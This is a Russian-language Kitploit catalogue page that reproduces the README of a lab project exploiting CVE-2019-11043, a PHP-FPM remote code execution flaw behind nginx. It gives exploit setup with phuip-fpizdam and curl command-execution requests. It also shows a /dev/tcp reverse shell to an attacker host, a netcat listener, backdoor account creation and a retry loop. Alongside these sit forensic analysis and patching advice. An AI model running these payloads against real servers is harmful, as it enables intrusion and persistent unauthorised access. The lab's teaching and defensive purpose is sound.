Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-11043-Vulnerability — Практическая лаборатория, воспроизводящая CVE-2019-11043 (RCE в PHP-FPM за nginx), демонстрирующая закрепление через обратный туннель, форензику памяти и анализ сетевого трафика. | Kitploit
Инструменты/GitHubGitHub/magentabear/cve-2019-11043-vulnerability
Криминалистика памятиМеханизмы персистентностиАнализ уязвимостейЭксплуатацияСетевая криминалистикаЭксплуатация веб-приложенийТестирование на ПроникновениеНеправильная КонфигурацияОбучение и Образование

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Red Teaming
Лаборатории и Практика
GitHubmagentabear/cve-2019-11043-vulnerability

CVE-2019-11043-Vulnerability

Практическая лаборатория, воспроизводящая CVE-2019-11043 (RCE в PHP-FPM за nginx), демонстрирующая закрепление через обратный туннель, форензику памяти и анализ сетевого трафика.

Репозиторий
79 месяцев назадЕщё не проверено

Соавторы: Olaf Madejski, Andrew Masone, Nate Desany

Демонстрация эксплуатации обратного туннеля PHP-FPM и закрепления в системе

CVE-2019-11043 — уязвимость обработки пути в Debian PHP-FPM


Обзор проекта

В октябре 2019 года исследователи Debian Security Advisory Эмиль Лернер и Эндрю Данау опубликовали уведомление, предупреждающее сообщество Debian о критической уязвимости в PHP-FPM. Из‑за недостаточной проверки в коде обработки пути PHP-FPM злоумышленники могли манипулировать специально созданными запросами для достижения удалённого произвольного выполнения кода при определённых конфигурациях NGINX + PHP-FPM.

Эта лабораторная работа демонстрирует эксплуатацию:

CVE-2019-11043

Уязвимость, затрагивающая PHP-FPM, работающий за NGINX, которая при срабатывании может позволить злоумышленникам выполнять произвольный код и закрепляться в системе через обратный туннель.

Проект воссоздаёт уязвимую среду, выполняет цепочку эксплойта и оценивает, как злоумышленники достигают закрепления с помощью техник туннелирования в реальных сценариях.


Содержание

Config

  • Содержит файл index.php, который является индексным файлом для docker-контейнера.
  • Содержит исправленную конфигурацию по умолчанию для nginx и использования php-fpm.
  • Содержит уязвимую конфигурацию по умолчанию для nginx и использования php-fpm.

Disk_Images

  • Содержит текстовый файл со ссылкой на Google Drive, где хранятся 2 zip-файла с образами дисков обеих виртуальных машин: хоста (Home) и атакующего.

Screenshots

  • Папка, содержащая скриншоты, сделанные на протяжении всей лабораторной работы и включённые в README.

Supplemental Material

  • README для двух инструментов, используемых для эксплойта, а также docker compose файл для docker-образа.

LogFiles

  • Лог-файлы, собранные с машины атакующего и хоста (Home).
  • Эти файлы включают .pcap-логи, разделённые для удобства использования.
  • Ссылка на дамп памяти; это важно, поскольку эксплойт по своей сути использует переполнение памяти.
  • access, auth, error, faillog, fulllog.zip (журналы journalctl), history, php7.3-fpm (для использования при патчинге уязвимости), syslog и term-логи.

README.md

  • Файл README, который вы сейчас читаете.

Актуальность проекта

Вектор атаки

Эта цепочка атак напрямую соответствует нескольким высокоэффективным техникам MITRE ATT&CK:

Почему это актуально сегодня

Обратное туннелирование для закрепления — это часто используемая TTP (Tactic, Technique, Procedure — тактика, техника, процедура), применяемая APT-группами, ботнетами и операторами программ-вымогателей. PHP-FPM остаётся широко развёрнутым в производственных средах, а неправильные конфигурации, эксплуатируемые CVE-2019-11043, до сих пор встречаются в реальных условиях.

Это не теоретические абстракции — они отражают точное поведение, задокументированное в активных кампаниях по эксплуатации уязвимостей с участием государственных субъектов и группировок программ-вымогателей.

Несмотря на то что CVE-2019-11043 уже несколько лет, уязвимость продолжает сохранять актуальность из-за следующих современных реалий безопасности:

  • Устаревшие PHP-приложения всё ещё повсюду. Многие организации продолжают использовать устаревшие стеки PHP 5.x/7.x из-за долгосрочных зависимостей веб-приложений, технического долга или страха сломать производственные системы. Такие среды часто остаются без обновлений и уязвимы.

  • NGINX + PHP-FPM — одна из самых распространённых хостинговых архитектур в мире. Это делает уязвимости PHP-FPM чрезвычайно привлекательными для злоумышленников, которые ищут большие и долговечные поверхности атаки.

  • Обратное туннелирование — ключевая техника закрепления в современных угрозах. Такие группы, как Lazarus, APT29, FIN11, и многочисленные операторы программ-вымогателей используют обратные SSH-туннели, WebSocket-туннели и даже PHP-реверс-шеллы для поддержания долгосрочного доступа, не полагаясь на открытые входящие порты.

  • Неправильные конфигурации остаются причиной №1 взломов. Даже при наличии патчей неправильно настроенные блоки NGINX «location» и плохо проверяемые переменные PATH_INFO продолжают подвергать среды эксплуатации.

  • Наборы автоматизации эксплойтов по-прежнему нацелены на эту CVE. Такие инструменты, как автоматические сканеры, ботнеты и IoT-вредоносы, регулярно проверяют уязвимые конфигурации PHP-FPM, поскольку эксплойт приводит к надёжному выполнению кода.

  • Облачные среды расширяют поверхность атаки. Плохо защищённые контейнеры, конфигурации общего хостинга и устаревшие базовые Docker-образы часто содержат незапатченные версии PHP-FPM, что ведёт к быстрому горизонтальному перемещению внутри облачных сетей.

  • Злоумышленники любят «лёгкую добычу». Уязвимость, обеспечивающая удалённое выполнение кода + закрепление на основе туннеля и требующая минимальных навыков, всегда останется целью высокого приоритета.

В сегодняшнем ландшафте угроз, где доминируют постоянный доступ, скрытое туннелирование и слабости цепочки поставок, понимание и демонстрация того, как эксплуатируется CVE-2019-11043, даёт критически важное понимание современных моделей атак и пробелов в защите.


Методология

Окружение

Цель этой лабораторной работы — смоделировать реальную эксплуатацию CVE-2019-11043, критической уязвимости удалённого выполнения кода, затрагивающей PHP-FPM за nginx при определённых конфигурациях. Задача состояла в том, чтобы проанализировать уязвимость, воспроизвести эксплойт в контролируемой виртуальной среде и продемонстрировать риски, связанные с неправильно настроенной веб-инфраструктурой.

Были использованы две виртуальные машины: обе с именем пользователя username и паролем password.

РольМашинаIP-адресНазначение
Цель / жертваUbuntu Server192.168.56.102Уязвимый PHP-FPM сервер с CVE-2019-11043
АтакующийUbuntu Server192.168.56.103Выполняет эксплойт, reverse shell и закрепление

Команды для настройки хоста:

Обновление apt

root@kitploit:~
sudo apt update && sudo apt -y upgrade

Создание контейнера для эксплойта уязвимости.

root@kitploit:~
sudo apt install -y docker.io docker-compose git
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
sudo docker-compose up -d

Команды для настройки цели:

Обновление Apt, установка базовых php, python и дополнительных пакетов

root@kitploit:~
sudo apt update
sudo apt install nmap curl wget git python3 python3-pip \
    netcat-traditional net-tools build-essential \
    php ruby ruby-full        
pip3 install requests
sudo apt install golang-go

Загружает инструмент для эксплуатации данной CVE и перемещает терминал для сборки эксплойта.

root@kitploit:~
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build

Команды для атаки на цель:

На этом настройка завершена. Вот пример того, что можно сделать сначала:

  1. В одном терминале (терминал 1) выполните:

    root@kitploit:~
    nc -lvnp 4444
    

Это нужно для настройки прослушивающего канала и обеспечивает reverse shell; он должен всегда прослушивать, так как это позволяет выполнять команды далее в теоретическом эксперименте.

  1. В другом терминале (терминал 2) выполните:

    root@kitploit:~
     cd phuip-fpizdam
    ./phuip-fpizdam http://192.168.56.102:8080/index.php
    

Это должно вывести строки, подтверждающие, что вы успешно эксплуатировали уязвимость.

Наконец, откройте последний дополнительный терминал (терминал 3).

Сразу же можно начать проверку функциональности эксплойта, выполнив:

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=id"

Это создаёт веб-команду удалённого выполнения и выводит результат id. Однако, как показано на скриншоте ниже, из-за переполнения памяти бывают случаи, когда команда может работать или не работать; часто небольшие команды с большей вероятностью срабатывают.

Теоретически здесь можно выполнить любую команду, она должна быть расположена там, где в команде ниже указано HERE, однако шансы на выполнение полной команды могут варьироваться.

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=HERE"

Эта команда читает содержимое внутри оболочки.

root@kitploit:~
http://192.168.56.102:8080/index.php?cmd=ls

В реальном примере эта команда, выполняемая злоумышленником, создала бы новую учётную запись и установила бы пароль password в кавычках.

root@kitploit:~
useradd threat
echo "password" | passwd --stdin hacker

Эта команда создаёт reverse shell, однако это концептуальное доказательство, и его сложно создать, поскольку PHP-FPM периодически убивает и перезапускает рабочие процессы.

Когда повреждённый рабочий процесс умирает, внедрённые изменения php.ini умирают вместе с ним.

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=/bin/sh+-c+'sh+-i+>%26+/dev/tcp/192.168.56.103/4444+0>%261'"

Далее злоумышленник, скорее всего, использовал бы задачу планировщика, в данном примере CRON, поскольку сервер работает на Linux; это эквивалент процессов автозапуска Windows.


Результаты

Лабораторная работа успешно воспроизвела CVE-2019-11043 в контролируемой среде и продемонстрировала, как неправильно настроенная связка nginx + PHP-FPM может быть удалённо эксплуатирована. Используя уязвимую конфигурацию fastcgi_split_path_info на основе регулярных выражений, машина атакующего смогла привести PHP-FPM в несогласованное состояние, в конечном счёте добившись произвольного выполнения кода. Кроме того, было выполнено извлечение лог-файлов с удалённого сервера из многих систем и проведён анализ логов, известных как связанные с этой уязвимостью.

После срабатывания уязвимости атакующий получал удалённое выполнение команд на цели и мог взаимодействовать с системой как локальный пользователь. Скомпрометированный веб-сервер принимал команды, выполнял их и возвращал вывод, что подтверждало полностью работающий удалённый шелл. Это подтвердило, что CVE остаётся надёжно эксплуатируемой в сочетании с уязвимой конфигурацией разбиения пути nginx и затронутыми версиями PHP-FPM.

Среда вела себя в соответствии с задокументированным поведением эксплойта. Такие команды, как whoami, id, ls и echo, успешно выполнялись, в то время как более сложные или интерактивные команды продемонстрировали нестабильность эксплуатируемого рабочего процесса PHP-FPM — один из известных эффектов этой уязвимости.

Как уже отмечалось, из-за нестабильности уязвимости, которая иногда срабатывает, а иногда нет, бывают случаи, когда она работает, а когда нет, поэтому рекомендуется использовать скрипты с циклическим повторением команд.

Эта уязвимость эксплуатирует CVE, напрямую связанную с проблемой переполнения памяти и буфера, поэтому важно просмотреть память хост-машины и проанализировать её с помощью Volatility.

Для этой лабораторной работы мы проанализировали основные журналы, связанные с этой уязвимостью: память и сетевой захват.

Сетевой захват показывает команды, которые пытаются выполняться на хост-машине. Они включают саму команду и множество символов, добавленных в конец URL к HTTP GET-запросу, отправляемому на сервер, что в свою очередь вызывает переполнение памяти.

Кроме того, в открытом виде можно увидеть команду, которая в этом безвредном примере скачивает изображение весёлой собаки из Google Images, а также саму команду с «юмористическим текстом» от создателя PHuip на GitHub.

Захват памяти, проанализированный с помощью Volatility и собранный в .json файл, показывает частые процессы с одним и тем же именем, выполняемые несколько раз подряд, что указывает на сбои и повторные запуски.

Это происходит потому, что ошибка переполнения памяти является корневой проблемой, связанной с этой уязвимостью. Пользователь может повторять команду, например, с помощью bash-скрипта: while true; do curl "command" sleep 0.01, выполняя команды несколько раз в секунду, пытаясь пробиться и получить то самое удалённое выполнение кода.

Ключевые выводы

В целом проект подтвердил следующие положения:

  • Уязвимое регулярное выражение nginx достаточно, чтобы подвергнуть PHP-FPM риску удалённого выполнения кода.

  • PHP-FPM 8.1 (при такой настройке) по-прежнему эксплуатируем в условиях CVE-2019-11043.

  • Удалённый злоумышленник может получить полноценное выполнение команд, что позволяет манипулировать файлами, похищать данные и потенциально повышать привилегии.

  • Неправильные конфигурации reverse-proxy / FastCGI представляют собой поверхность атаки с высоким воздействием, особенно в сочетании с общедоступными точками загрузки или страницами phpinfo().

Результаты подчёркивают, насколько критична правильная конфигурация FastCGI, и указывают на необходимость безопасных настроек по умолчанию, регулярных аудитов конфигурации и минимального раскрытия диагностических конечных точек в производственных средах.


Заключение

Эксплуатация CVE-2019-11043 демонстрирует, как единственная ошибка конфигурации в PHP-FPM и NGINX может привести к захвату сервера и постоянному доступу злоумышленника.
Команда Debian Security Advisory подтвердила, что обновление php7.0 до версии 7.0.33 или новее полностью закрывает эту уязвимость.

Своевременная установка патчей, усиленные конфигурации NGINX и мониторинг туннельной активности имеют решающее значение для предотвращения подобных атак в современных средах.


Ссылки

  • Детали CVE – https://nvd.nist.gov/vuln/detail/cve-2019-11043
  • Запись CVE – https://www.cve.org/CVERecord?id=CVE-2019-11043
  • Debian Security Advisory – https://lists.debian.org/debian-security-announce/2019/msg00204.html
  • Docker-репозиторий для уязвимости - https://github.com/vulhub/vulhub/tree/master
  • Инструмент, используемый для эксплуатации уязвимости - https://github.com/neex/phuip-fpizdam

Скачать инструмент
MITRE IDНазвание техники
T1071Туннелирование на прикладном уровне
T1572Туннелирование протокола
T1090Прокси / обратный прокси
T1505Серверные компоненты (PHP-FPM)
T1574Перехват потока выполнения